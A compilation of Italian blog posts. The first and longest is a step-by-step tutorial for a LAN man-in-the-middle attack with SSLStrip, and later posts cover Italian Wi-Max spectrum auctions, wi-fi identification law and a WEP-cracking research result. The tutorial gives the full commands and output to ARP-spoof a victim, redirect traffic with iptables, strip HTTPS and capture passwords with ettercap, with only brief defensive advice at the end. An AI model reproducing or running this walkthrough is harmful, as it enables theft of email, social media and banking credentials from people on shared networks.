Oggi si parla di sicurezza informatica, o di insicurezza informatica dipende dai punti di vista. SSL Strip è una tecnica presentata al Black Hat DC del 2009 che rientra nella categoria dei MITM (Main in the middle). All’interno di una rete LAN, questa tecnica permette di sniffare le password provenienti da un server sicuro, HTTPS per fare un esempio. Questa tecnica risulta molto pericolosa, in quanto, se un malintenzionato riuscisse ad entrare in una qualsiasi rete LAN o rete wireless (abitazione, ufficio, ecc) potrebbe venire in possesso dei vostri account email e password di hotmail, gmail, facebook, twitter, instantempo e perfino i dati bancari. La tecnica, a grandi linee, molto semplicemente, consiste nel far in modo che il computer dell’attaccante si metta in mezzo tra il computer della vittima e il router, il computer dell’attaccante diventa un “nodo invisibile” su cui vengono veicolate tutte le informazioni. A fine articolo si abbozzeranno delle soluzioni al problema.

Configurazione di SSL Strip

Il sistema che userò per configurare gli script e i programmi è Ubuntu 10.4, per diversi motivi: i sorgenti e i comandi sono progettati per un sistema Linux; su un altro sistema non si possono fare tutte le modifiche che ci si propone di fare; sono molti anni che uso Ubuntu e lo conosco fin nei minimi particolari.

La prima operazione da fare è scaricare SSLStrip da: http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz

Scompattare il pacchetto, utilizzare “tar -zxvf sslstrip-0.4.tar.gz” se si sta operando da terminale.

arturu@arturu-laptop:~/Scrivania$ tar -zxvf sslstrip-0.7.tar.gz
sslstrip-0.7/
sslstrip-0.7/setup.py
sslstrip-0.7/README
sslstrip-0.7/COPYING
sslstrip-0.7/lock.ico
sslstrip-0.7/sslstrip/
sslstrip-0.7/sslstrip/StrippingProxy.py
sslstrip-0.7/sslstrip/URLMonitor.py
sslstrip-0.7/sslstrip/ServerConnectionFactory.py
sslstrip-0.7/sslstrip/__init__.py
sslstrip-0.7/sslstrip/ServerConnection.py
sslstrip-0.7/sslstrip/ClientRequest.py
sslstrip-0.7/sslstrip/SSLServerConnection.py
sslstrip-0.7/sslstrip/CookieCleaner.py
sslstrip-0.7/sslstrip.py
arturu@arturu-laptop:~/Scrivania$

Il file compresso viene estratto in una cartella, entrare nella cartella e compilare il codice sorgente con “python setup.py build” (è necessario avere installato l’interprete python)

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ python setup.py build
running build
running build_py
creating build
creating build/lib.linux-i686-2.6
creating build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ServerConnection.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/StrippingProxy.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/__init__.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/SSLServerConnection.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ServerConnectionFactory.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/ClientRequest.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/URLMonitor.py -> build/lib.linux-i686-2.6/sslstrip
copying sslstrip/CookieCleaner.py -> build/lib.linux-i686-2.6/sslstrip
running build_scripts
creating build/scripts-2.6
copying and adjusting sslstrip/sslstrip -> build/scripts-2.6
changing mode of build/scripts-2.6/sslstrip from 644 to 755
Cleaning up...
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$

Successivamente bisogna installare tutto con il comando “sudo python setup.py install”

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo python setup.py install
[sudo] password for arturu:
running install
running build
running build_py
running build_scripts
copying and adjusting sslstrip/sslstrip -> build/scripts-2.6
running install_lib
running install_scripts
copying build/scripts-2.6/sslstrip -> /usr/local/bin
changing mode of /usr/local/bin/sslstrip to 755
running install_data
running install_egg_info
Removing /usr/local/lib/python2.6/dist-packages/sslstrip-0.6.egg-info
Writing /usr/local/lib/python2.6/dist-packages/sslstrip-0.6.egg-info
Cleaning up...
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$

Appena installato SSLStrip, bisogna procedere all’installazione di arpspoof. Arpspoof è un programma che fa credere ad un host (computer della vittima) che l’indirizzo MAC dell’attaccante è l’indirizzo MAC del router (contaminando i pacchetti arp, ma questo è un altro discorso), così facendo la vittima inizia ad inviare all’attaccante tutto il suo traffico di rete; il kernel dell’attaccante, ad eccezione per il traffico destinato alla porta 80, reindirizza tutto a $ listenPort (10000, per esempio).

Installiamo arpspoof con il comando “sudo apt-get install dsniff” e successivamente installiamo Ettercap (altro famoso tool per la cattura dei pacchetti) con il comando “sudo apt-get install ettercap”.

Adesso che abbiamo installato tutto il software si può passare all’utilizzo.

Utilizzo di SSLStrip

Da ora in poi facciamo finta che noi siamo gli attaccanti e Mario sia la nostra vittima. Come prima cosa bisogna conoscere il nostro indirizzo ip all’interno della rete LAN, da terminale digitiamo “ifconfig”

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ ifconfig
eth0    Link encap:Ethernet  HWaddr 00:00:00:00:00:00
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisioni:0 txqueuelen:1000
          Byte RX:0 (0.0 B)  Byte TX:0 (0.0 B)
          Interrupt:21
wlan0  Link encap:Ethernet  HWaddr 00:00:00:00:00:00
          indirizzo inet:10.10.100.5  Bcast:10.10.100.255  Maschera:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:41373 errors:0 dropped:0 overruns:0 frame:0
          TX packets:44774 errors:0 dropped:0 overruns:0 carrier:0
          collisioni:0 txqueuelen:1000
          Byte RX:27814338 (27.8 MB)  Byte TX:10429284 (10.4 MB)
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$

Dopo la voce HWaddr abbiamo il nostro indirizzo MAC e dopo inet il nostro indirizzo ip nella rete interna. In questo caso nella mia rete interna ho il seguente indirizzo ip 10.10.100.5 sull’interfaccia wireless, l’ethernet è disattivata; il mio MAC address è 00:00:00:00:00:00 (l’ho modificato perché non mi va di pubblicarlo).

Bisogna trovare l’indirizzo del gateway, è necessario che esso sia uguale a quello della vittima, situazione che si verifica nel 90% dei casi, digitiamo da terminale ” ip route show | grep default | awk ‘{ print $3}’ “

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ ip route show | grep default | awk '{ print $3}'
10.10.100.254
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$

in questo caso l’indirizzo del gateway è 10.10.100.254.
Successivamente bisogna aprire tre diverse schede nella finestra del terminale, perché abbiamo bisogno di eseguire tre comandi in parallelo.
Nel primo tab eseguire “sudo arpspoof -t 10.10.100.2 10.10.100.254″, dove il primo indirizzo ip è quello della vittima e il secondo è il gateway (per trovare gli indirizzi dei computer connessi nella LAN basta utilizzare un qualsiasi scanner di rete), il risultato è simile al seguente (ho modificato i MAC address) praticamente ogni pacchetto della vittima in ogni instantempo viene fatto passare attraverso il nostro computer e inviato al router vero, e viceversa.

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo arpspoof -t 10.10.100.2 10.10.100.254
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00
00:00:00:00:00:00 0:0:0:0:0:0 0806 42: arp reply 10.10.100.254 is-at 00:00:00:00:00:00

Nella seconda scheda eseguiamo il comando “iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-ports 1000″, serve a renderizzare le richieste dalla porta 80 alla porta 1000 del nostro computer (la porta di destinazione la possiamo cambiare a piacere, in caso fosse già utilizzata da un altro servizio).

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 1000
arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$

Subito dopo facciamo partire “sslstrip” e si lascia in esecuzione

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sslstrip
sslstrip 0.6 by Moxie Marlinspike running...

Nella terza tab facciamo partire ettercap in sniff mode con il seguente comando “sudo ettercap -Tqz”, aspettiamo che la nostra vittima digiti login e password su una connessione “sicura”, il risultato dovrebbe essere il seguente (ho modificato il mio MAC address)

arturu@arturu-laptop:~/Scrivania/sslstrip-0.7$ sudo ettercap -Tqz
[sudo] password for arturu:
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Listening on wlan... (Wireless)
  wlan0 ->	00:00:00:00:00:00      10.10.100.5     255.255.255.0
Privileges dropped to UID 65534 GID 65534...
  28 plugins
  39 protocol dissectors
  53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help

Fatto questo appena un utente tenterà di accedere ad un servizio su un server protetto, ettercap intercetterà username e password e la visualizzerà in questa ultima tab.

Utilizzo di SSLStrip secondo la documentazione

Secondo gli autori di SSLStrip l’utilizzo del tool dovrebbe essere il seguente:

• Flip your machine into forwarding mode. (echo “1″ > /proc/sys/net/ipv4/ip_forward)
• Setup iptables to redirect HTTP traffic to sslstrip. (iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port <listenPort>)
• Run sslstrip. (sslstrip.py -l <listenPort>)
• Run arpspoof to convince a network they should send their traffic to you. (arpspoof -i <interface> -t <targetIP> <gatewayIP>)

In questo modo non sono mai riuscito a beccare una password, forse qualcun altro sarà più fortunato.

Un articolo interessante si può leggere su: http://pointnext.blogspot.com/2010/01/ssl-strip-con-ettercap.html ma ancora non ho avuto il tempo di provare.

Funziona sempre?

Dalle prove che ho fatto se la vittima lavora su una macchina Windows (ho provato soltanto con XP e Vista) l’attacco va a buon fine con qualsiasi browser. Safari su MacOsX restituisce pagina bianca, cioè non fa nessuna operazione e l’attacco non va a buon fine, ma l’utente non riceve nessuna segnalazione sul fatto che la connessione sicura è stata compromessa. Su Ubuntu utilizzando firefox o chrome si viene avvertiti che il certificato di sicurezza non è valido e l’utente può decidere di abbandonare la connessione (comunque se l’utente accetta il certificato viene restituita una pagina bianca), invece con Opera l’attacco va a buon fine.

Soluzioni

Per ora le soluzioni che mi sento di suggerire sono:

• Se è possibile, preferire il cavo alla wireless, infatti è più difficile connettersi ad una LAN con il cavo che non tramite wireless anche se è protetta;
• Aggiornare browser e Sistema Operativo sperando che venga risolto il problema (caso molto probabile in quanto questo problema è noto dal 2009);
• Consiglio di parte: utilizzare un sistema operativo più sicuro degli altri ad es: Ubuntu o MacOsX

Saluti Arturu.it

PS Come tutti hanno capito non si trattava di un articolo che parla dello “Strip” Tease. Tu lettore, se ancora cerchi questo, leggendo ancora non troverai niente, anche perché: l’articolo è finito…

Ultimamente nel panorama politico italiano si ritorna a discutere di connettività senza fili, tema a me molto caro che i miei lettori conoscono bene perché molto spesso me ne esco con questa tematica. In passato ho parlato di come il Wi-Max italiano sarebbe miseramente fallito a causa di scelte governative poco intelligenti, tecnologia che in altri paesi come il Giappone permette di collegarsi a fino a 200 Mbit/s con un raggio massimo di 50 Km dalla stazione (Articolo 1, Articolo 2).

Da qualche giorno il dibattito politico si è spostato sull’abrogazione dell’articolo 7 del decreto Pisanu (155/2005). L’articolo obbligava i gestori di tutti gli esercizi pubblici (internet point, bar, biblioteche, università…) che offrivano la connessione Internet alla richiesta di una speciale licenza al questore, nonché all’identificazione degli utenti tramite documento di identità. Il Decreto, tra le varie disposizioni si proponeva di impedire a dei terroristi di collegarsi alla Rete senza essere identificati, in realtà si è trasformato in un muro alla diffusione della nascente (si fa per dire) tecnologia Wi-Max in Italia. L’aspetto più grave è che questa disposizione si è dimostrata totalmente inutile, in quanto le attenzioni di molti “criminali” si sono rivolte verso gli access-point wireless dei privati (il più delle volte installati da utenti poco esperti), i “punti wireless” dei privati sono facilmente violabili consentendo l’accesso in totale anonimato a chiunque, anzi, sotto l’identità del povero malcapitato (Articolo 1, Articolo 2). Si è costruito così un falso senso di sicurezza. Siamo sicuri che nessuna rete wi-fi è stata mai violata da un “Terrorista”?! non lo sapremo mai perché tutti si sentivano sicuri e non si è indagato su questo. Forse era più saggio monitorare gli accessi anonimi con delle parole chiave tipo “bomba,innesco,c4,ecc”, si è preferito alzare il tappeto e buttare la polvere sotto…

Da wired.it:

L’intenzione di Linda Lanzillotta, Paolo Gentiloni e Luca Barbareschi era quella di riaccendere i riflettori politici e istituzionali sul problema del wi-fi, il primo passo è fatto. La proposta dei tre, che mette d’accordo opposizioni e Futuro e Libertà, ha infatti trovato sostegno praticamente incondizionato alla Camera e l’ipotesi che la connessione senza fili possa proliferare indisturbata prima di Natale si fa sempre più concreta. A favore dell’abolizione dell’articolo 7 del Decreto Pisanu del 2005 si è schierata anche l’Udc, attraverso la sottoscrizione della proposta da parte di Roberto Raho. Pareri favorevoli sono arrivati anche da parte della Lega Nord e del Pdl, con una netta presa di posizione del Club della libertà. La sensibilità dell’Idv è inoltre manifesta da tempo. Quindi, se la matematica non è un’opinione e non essendo necessario mettersi a contare con calcolatrici o pallottolieri di sorta, la maggioranza c’è ed è schiacciante e l’intenzione di mettere mano al regola che prevede che chiunque si colleghi a Internet da una connessione pubblica debba essere identificato con un documento d’identità non è in discussione.

Anche se ci sono tutte le intenzioni di liberalizzare gli accessi alle wi-fi in Italia non succederà mai. Questo lo dico in tempi non sospetti con un 99% di certezza. Se ci fossero reti wireless veramente libere tutti i gestori mobili non avrebbero più ragion d’esistere, basta avere uno smartphone con il supporto wi-fi, un laptop, un iphone, ipad, iqualcosaltro e si è tutti interconnessi, la telefonata come l’sms diventerebbero preistoria!!!

In Italia, mentre noi ci preoccupiamo di liberalizzare l’accesso alle wi-fi gli altri paesi sperimentano il Wi-Max da 330 MEGABIT e le connessioni LTE … io viaggio ancora con l’ISDN a 64kilobit, e non sono il solo…

L’asta per asegnare le frequenze del WiMax è finita, si sono assegnate le frequenze e le aree di utilizzo, quindi il WiMax potrà partire e portare benefici per tutti! Dovrebbero essere tutti felici e contenti, nessuna contestazione, nessun muso lungo, ma purtroppo non è così. Perché questo? forse perché non si è mai contenti? per il gusto di contestare? oppure c’è qualcosa che non và… In questo articolo cercherò di affrontare il problema e andare a vedere perché alcuni si ostinano a contestare anche quando sembrerebbe tutto risolto.

La situazione italiana.

Le licenze per l’utilizzo delle frequenze sono state assegnate. I costi sono esorbitanti, in totale 136.337.000 di euro, un valore molto superiore a quello registrato negli altri paesi europei, + 176% sulla base d’asta. Molti temono, specialmente le associazioni consumatori che le spese folli per le licenze portino ad un costo elevatissimo del servizio come è già successo per l’UMTS, cioè che il servizio diventi costoso a fronte del proposito di superare il problema del digital divide italiano.

Una competizione vivace, che secondo il ministro delle TLC Paolo Gentiloni è “testimonianza sia dell’interesse per questa nuova tecnologia di banda larga senza fili, sia dell’impegno che le imprese vincitrici vorranno sostenere per far partire in Italia i servizi WiMax”. (si poteva fare benissimo statale, come avrebbero voluto molte regioni, provincie e comuni, ndr).

Le frequenze assegnate, su cui si dovrà costruire le reti WiMax, sono da 3,4 a 3,6 GHz. Sono proprio queste bande di frequenze che generano molte discussioni e malcontenti.

La questione delle frequenze

Per costruire una rete senza fili le frequenze che si scelgono per trasmettere i dati sono vitali. Detto semplicemente: più alta è la frequenza meno lontano andrà il segnale. In termini pratici: a 900 MHz (0,9 GHz) si riesce ad arrivare fino a 25 Km (in aree extraurbane) con i 1800 MHz (1,8 GHz, il famoso dualband) bisogna scendere a 6 Km. All’avvento dell’UMTS, HSDPA e simili si è scelta come frequenza i 2,1 GHz, questo ha fatto si che delle tecnologie molto superiori al GSM hanno delle prestazioni pessime sulla distanza e decenti vicino alla cella. All’epoca del lancio dell’UMTS le compagnie per migliorare le prestazioni furono costrette ad avvicinare ed aumentare il numero di celle, di consegueza aumentarono i costi. Per un approfondimento su questo tema è utile leggere questo articolo. Visto cosa è successo con l’UMTS, l’HSDPA, ecc, non è servito d’esperienza, per il WiMax si è scelto comunque di utilizzare le frequenze molto alte che vanno da 3,4 a 3,6 GHz.

Questo modo di procedere, dalla scelta delle frequenze alla messa all’asta delle frequenze, fa diventare il WiMax da molto economico e affidabile a molto costoso e poco perfomante. Chi costruirà le reti dovrà prima di tutto costruire altre celle (ripetitori e antenne per intenderdi) molto più vicine rispetto a quelle già presenti (quindi con tutte le problematiche del caso, vedasi tutti i permessi e resistenze dei cittadini a mettere nuove antenne vicino alle case) che faranno lievitare i costi. Secondo, le compagnie dovranno rientrare dei costi delle licenze, sempre se non venderanno a pezzetti le aree ad altre compagnie (è previsto dal bando di gara, se chi si aggiudica la gara non utilizzerà le frequenze dovrà rivendere a chi ne faccia richiesta) che faranno lievitare i costi.

Sul problema delle frequenze è utile leggere questo articolo (vicenda) e questo articolo (per sapere come è andata a finire), la vicenda poteva servire da esperienza per l’Italia, ma non è stato così.

In altri paesi che si fa? Funziona?

Alcuni paesi hanno più saggiamente scelto (a partire dall’UMTS, l’HSDPA, ecc.), frequenze molto più lunghe (basse). Queste scelte hanno portato dei vantaggi notevoli, in alcuni casi a prestazioni superiori alle aspettative come in Giappone.

Negli USA si vorrebbe costruire una rete WiMax nazionale e coprire tutto il territorio degli Stati Uniti. Per questo ci sono stati degli investimenti di circa 2,7 miliardi di dollari (1,7 miliardi di euro) si pensa che si riuscirà a costruire la rete entro 12-24 mesi. Ma la cosa più importante è la frequenza che si adotterà: saranno i 700 MHz (0,7 GHz). Per approfondire leggere questo articolo.

In Giappone, molto più avanzati, l’azienda NTT DoCoMo dal 2006 si sta attrezzando (terminerà nel 2009) ad incrementare le velocità dell’HSDPA e dell’HSUPA fino a 300 Mbit in download e 75 Mbit in upload, questa azienda utilizza come frequenza i 20 MHz (0,02 GHz), approfondimento su questo articolo.

Conclusioni

Trarre delle conclusioni è facile.

L’utilità e l’economicità di una tecnologia dipende da chi decide e amministra.

Ciao, Arturu.it

Oggi si parla di reti senza fili: Wi-Max (tecnologia esistente dal 2002). Questa tecnologia potrebbe rivoluzionare il modo di comunicare ma sta diventanto (come al solito) la gallina d’oro per i soliti operatori delle telecomunicazioni. Questa è in parole povere l’evoluzione delle reti wireless (Wi-fi). In più, è una tecnologia che con un costo irrisorio (intorno ai 1000 euro ogni 7850 km²) permette di collegare ad internet qualsiasi persona munita di computer, PDA, Smartphone e cellulare con velocità a partire da 1 Mbit/s fino a 70 Mbit/s. In questo articolo cercherò, nel limite delle mie capacità mentali, di affrontare questo problema controverso…

WiMAX è una tecnologia di trasmissione senza fili d’accesso a banda larga, in grado di fornire elevate prestazioni, in termini di velocità di trasmissione di dati, a basso costo. La possibilità di essere utilizzato su qualsiasi tipo di territorio, a prescindere dalle caratteristiche geografiche (si possono utilizzare sistemi WiMAX, in tutti gli ambienti, dall’urbano al rurale), rende WiMAX competitivo sul mercato per ogni tipo di utenza (dall’azienda all’utente singolo). WiMAX è in grado di operare sia su bande di frequenza sottoposte a licenza (cioè porzioni dello spettro frequenziale assegnate in uso esclusivo dalle istituzioni governative preposte a enti e aziende, solitamente dietro compenso) che su bande “non licenziate” (cioè su frequenze per il cui utilizzo non vi è alcun pagamento). La tecnologia supporta velocità di trasmissione di dati condivisi fino a 70 Mbit/s in aree metropolitane, utilizzando una tecnologia che non richiede la visibilità ottica tra le stazioni. Secondo i proponenti di WiMAX questa ampiezza di banda è sufficiente per supportare simultaneamente almeno 40 aziende con connettività di tipo T1 e 70 abitazioni con connettività al livello DSL da 1 Mbit/s. (Definizione tratta da Wikipedia, per approfondire clicca qui).

2. In Italia che succede…?

Per rendere operativa una rete WiMAX sono essenziali le frequenze radio su cui far transitare il segnale. In Italia fino a qualche tempo fà, queste frequenze, erano utilizzate dal Ministero della Difesa. Di recente, il Ministero, ha migrato le comunicazioni su altre frequenze con la seguente motivazione: un contributo all’eliminazione del DIGITAL-DIVIDE nel Bel Paese, la creazione di un’alternativa al terrestre per quanto riguarda la connettività, la risoluzione della copertura dell’ultimo miglio, ecc., ecc. … bla, bla, bla … e paroloni vari…

2.1 Potenzialità…

Wooow!!! Bellissima iniziativa!!! Dunque ogni comune con 1000 euro (100 più, 100 meno) ogni 50 km può installare una bella antenna e condividere la connessione, così facendo si riuscirebbe a coprire l’intero territorio italiano con una bella rete pubblica. I vantaggi potrebbero essere molteplici: connessione per tutti i computer della nazione, connessione di tutti i dispositivi mobili. Con un solo investimento (quasi irrisorio) si riducono di circa il 90% il costo delle connessioni ad internet e si azzerano i costi delle telefonate sia per la Pubblica Amministrazione che per i cittadini. Per chi non fosse a conoscenza: su qualsiasi computer connesso ad internet si possono usare i programmi di VoIP (il più famoso è Skype) per far transitare attraverso internet le telefonate, la stessa cosa si può fare con un portatile, PDA e Smartphone; ultimamente esistono alcuni cellulari (io conosco quello della Nokia di qualche anno fa, intanto ne sono nati altri) che possono aggangiarsi alle reti wireless e con skype installato si può chiamare gratis un altro dispositivo connesso ad internet (in tutto il globo). C’è una nazione vicino a noi che è riuscita a realizzare tutto questo: la macedonia (per approfondimenti cliccare qui e qui).

2.2 Dalla fantasia alla realtà…

Ritorniamo in Italia, ops, alla realtà…

In Italia si è deciso di dividere in territorio in grandi maxi-aree e mettere all’asta le relative frequenze a cui si può partecipare soltando avendo dei requisiti particolari (bando). Tutto questo procedere sembra in netto contrasto con quanto, anche a livello Comunitario, sia stato sempre espresso come diritto d’accesso alla tecnologia da parte dei cittadini, ispiratore di varie direttive EU in ambito ICT a far capo dalla nota direttiva quadro del Parlamento Europeo e del Consiglio, n. 2002/21/CE del 7 marzo 2002, che “istituisce un quadro normativo comune per le reti ed i servizi di comunicazione elettronica” (leggi) e ribadito nei vari titoli del capitolo “Società dell’Informazione”, (leggi).

Su questa decisione hanno protestato in molti, comprese alcune provincie e comuni (come quello di genova):

Il punto è che questa promettente tecnologia banda larga senza fili è stata attesa per due anni, da vari soggetti, pubblici e privati; e ora che finalmente sta per essere lanciata si scontra con le aspettative di molti. Ognuno aveva fatto piani per utilizzarla ai propri scopi. “Noi avremmo voluto usare il WiMax per creare una rete cittadina a Genova, con servizi pubblici innovativi”, spiega a Repubblica.it Francesco Bollorino, consulente del Comune di Genova per il progetto Città Digitale. Il problema? “Per realizzare il nostro sogno saremmo costretti a concorrere con gli operatori, nell’asta prevista dal bando, per ottenere una licenza WiMax”, spiega Bollorino. “E con le risorse finanziarie di una pubblica amministrazione è cosa molto improbabile riuscire nell’intento. Tra l’altro non c’è nemmeno una licenza che vada bene per noi. Le licenze all’asta sono regionali o riguardano più regioni accorpate. Non ce ne sono per singole province”.

Queste licenze fanno talmente gola che anche aziende come la rai e mediaset si accapigliano, visti i costi/profitti… Un elenco dei concorrenti si può trovare qui in pdf.

2.3 Perchè le aste per il WiMAX sono la scelta peggiore per il cittadino…?

Questa situazione si era presentata con la tecnologia UMTS. Tutti sappiamo come è andata a finire: una tecnologia di gran lunga superiore al GPRS e più economica; ma quante sono le persone che la sfruttano? magari solo per videotelefonare…

Nonostante il fatto che le aste siano una idea palesemente sbagliata, è stata intrapresa ugualmente questa strada per assegnare le frequenze del Wi-MAX. Il motivo è ovvio: se si liberalizzasse l’accesso alle frequenze del Wi-MAX, chiunque, con pochi soldi, potrebbe fare concorrenza alle grandi aziende che operano nel settore della telefonia e che usano lo standard UMTS. Queste aziende hanno pagato decine di milioni di euro per avere quelle frequenze e non vogliono certo vedersi rubare il mercato dai primi arrivati. A questo punto, è chiaro che gli interessi di queste aziende sono palesemente in contrasto con gli interessi della comunità e dei consumatori.

Tutte le aziende vincitrici non avranno nessun interesse ad introdurre subito nel mercato la nuova tecnologia, prima dovranno sfruttare l’UMTS e l’HSPA, poi introdurranno piano piano il WiMAX a caro prezzo (dopo averlo blindato logicamente).

Nessuno potrà ccostruirsi la propria rete senza fili WiMAX, come oggi succede per il wi-fi, in quanto trasmettere su quelle frequenze sarà un reato.

Nel caso particolare del WI-MAX, non stiamo parlando di tecnologie il cui costo in termini di infrastruttura sia molto elevato o riconducibile ad altre tipologie di servizi mobili anche di ultima generazione, ma di una SOLUZIONE DI INTERNETWORKING BEN DIFFERENTE, in grado di coprire molti aspetti e molti usi rispetto alle attuali soluzioni di connettività e servizi mobili e fissi ed il cui costo in configurazione ad uso personale rientra nei parametri di un investimento “casalingo” (poche centinaia di Euro), nonchè in quelli poco più elevati di un’attività amatoriale – quale potrebbe essere quella di un’associazione radioamatoriale – per un’installazione in grado di servire alcune decine di utenti.
Non sembra quindi giustificato un approccio anteponente il permesso dello sfruttamento commerciale a vantaggio degli operatori del settore – con conseguente chiusura dello spettro radio interessato – all’uso privato SENZA SCOPO DI LUCRO a favore dei singoli cittadini italiani ed europei delle medesime frequenze e tecnologie.
In tal modo si verificherebbe di fatto una DISCRIMINAZIONE di TECNOLOGIA ai danni dei cittadini e consumatori, poichè diverrebbe di fatto impossibile o molto difficile utilizzare il WI-MAX in regime libero a fronte di un’assegnazione dell’intero spettro frequenze (o della maggior parte di esso), a fini commerciali; verrebbe cancellata quindi la possibilità per chiunque di utilizzare in maniera AUTONOMA e LIBERA le apparecchiature STANDARD atte a realizzare le reti in questione, il cui commercio e diffusione sono invece mondialmente permessi (e riconosciuti anche in territorio Europeo). Una tale DISCRIMINAZIONE TECNOLOGICA sarebbe in contrasto con i principi cardine contenuti nell’emanazioni Comunitarie del settore “Società dell’informazione” sopracitata, cap. Verso un nuovo quadro per l’infrastruttura delle comunicazioni elettroniche, oltreché ben poco libertaria e democratica.

3. Conclusioni…

Per concludere, come al solito non ci si capisce niente… Tutto ingarbugliato, quando in altri stati è stato semplice senza bandi e senza giochini politici. Comunque mi frullano in testa alcune domande:

Ciao Saluti…

Ps. Chiunque voglia firmare la petizione si trova qui.

Alcuni ricercatori della Technical University of Darmstadt hanno raggiunto un nuovo traguardo per quanto riguarda il cracking di rete wireless protette da WEP.
Erik Tews, Andrei Pychkine e Ralf-Philipp Weinmann hanno descritto nel loro paper come siano stati in grado di ridurre il numero di pacchetti catturati necessari per un attacco valido.
Una rete wireless protetta con chiave 128-bit WEP può ora essere compromessa in meno di un minuto sfruttando la loro nuova metodologia di attacco.

Dal loro sito web è possibile scaricare un archivio compresso contenente il necessario per aggiungere il nuovo metodo al noto programma di cracking disponibile su Linux: “WEP Aircrack”.
Fino ad adesso gli attacchi WEP più efficienti richiedevano per lo meno 500.000 pacchetti WEP utili per calcolare la chiave 104-bit usata dal sistema di protezione WEP 128-bit.
Una maniera molto semplice per collezionare pacchetti dati è quello di usare la tecnica dell’ARP reinjection, injection forzata di query ARP crittate.
In questo modo anche una rete wireless poco trafficata può essere compromessa in un tempo variabile dai 10 ai 40 minuti.

I ricercatori sono stati in grado di migliorare l’attacco sviluppato da Klein contro l’algoritmo RC4 usata dal WEP, in maniera che i singoli bytes della chiave possano essere calcolati in maniera indipendente.
Il risultato è che con 40.000 pacchetti WEP c’è il 50% di possibilità di calcolare la chiave corretta.
Con 85.000 pacchetti la percentuale sale al 95%.
Il loro attacco stando a quanto dichiarato dovrebbe funzionare anche con WEPPlus, visto che la loro metodologia non è diretta verso la debolezza degli IVs, cosa che appunto WEPPlus nel tentativo di migliorare la sicurezza evita di utilizzare.